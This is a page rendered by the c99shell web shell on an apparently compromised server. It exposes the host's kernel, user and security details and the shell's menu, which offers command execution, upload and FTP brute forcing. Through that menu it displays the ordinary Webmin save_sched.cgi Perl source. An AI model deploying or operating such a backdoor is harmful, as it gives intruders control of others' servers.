!C99Shell v. 1.0 pre-release build #16!

Software: Apache/2.0.54 (Fedora). PHP/5.0.4 

uname -a: Linux mina-info.me 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 

uid=48(apache) gid=48(apache) groups=48(apache)
context=system_u:system_r:httpd_sys_script_t
 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/package-updates/   drwxr-xr-x
Free 3.84 GB of 27.03 GB (14.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     save_sched.cgi (1.52 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Save scheduled checking options

require './package-updates-lib.pl';
&ReadParse();

&lock_file($module_config_file);
$config{'sched_email'} = $in{'email'};
$config{'sched_action'} = $in{'action'};
&save_module_config();
&unlock_file($module_config_file);

$oldjob = $job = &find_cron_job();
if ($in{'sched_def'}) {
    if ($job) {
        &lock_file(&cron::cron_file($job));
        &cron::delete_cron_job($job);
        &unlock_file(&cron::cron_file($job));
        }
    $msg = $text{'sched_no'};
    }
else {
    $job ||= { 'user' => 'root',
           'active' => 1,
           'command' => $cron_cmd };
    $job->{'mins'} = $job->{'hours'} = $job->{'days'} =
        $job->{'months'} = $job->{'weekdays'} = '*';
    if ($in{'sched'} eq 'h') {
        $job->{'mins'} = int(rand()*60);
        }
    elsif ($in{'sched'} eq 'd') {
        $job->{'mins'} = int(rand()*60);
        $job->{'hours'} = int(rand()*24);
        }
    elsif ($in{'sched'} eq 'w') {
        $job->{'mins'} = int(rand()*60);
        $job->{'hours'} = int(rand()*24);
        $job->{'weekdays'} = int(rand()*7);
        }
    &lock_file(&cron::cron_file($job));
    if ($oldjob) {
        &cron::change_cron_job($job);
        }
    else {
        &cron::create_cron_job($job);
        }
    &unlock_file(&cron::cron_file($job));
    &lock_file($cron_cmd);
    &cron::create_wrapper($cron_cmd, $module_name, "update.pl");
    &unlock_file($cron_cmd);
    $msg = $text{'sched_yes'};
    }

# Tell the user
&ui_print_header(undef, $text{'sched_title'}, "");

print "$msg<p>\n";

&webmin_log("sched", undef, $in{'sched_def'} ? 0 : 1);
&ui_print_footer("index.cgi?mode=$in{'mode'}&search=".
         &urlize($in{'search'}), $text{'index_return'});


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0029 ]--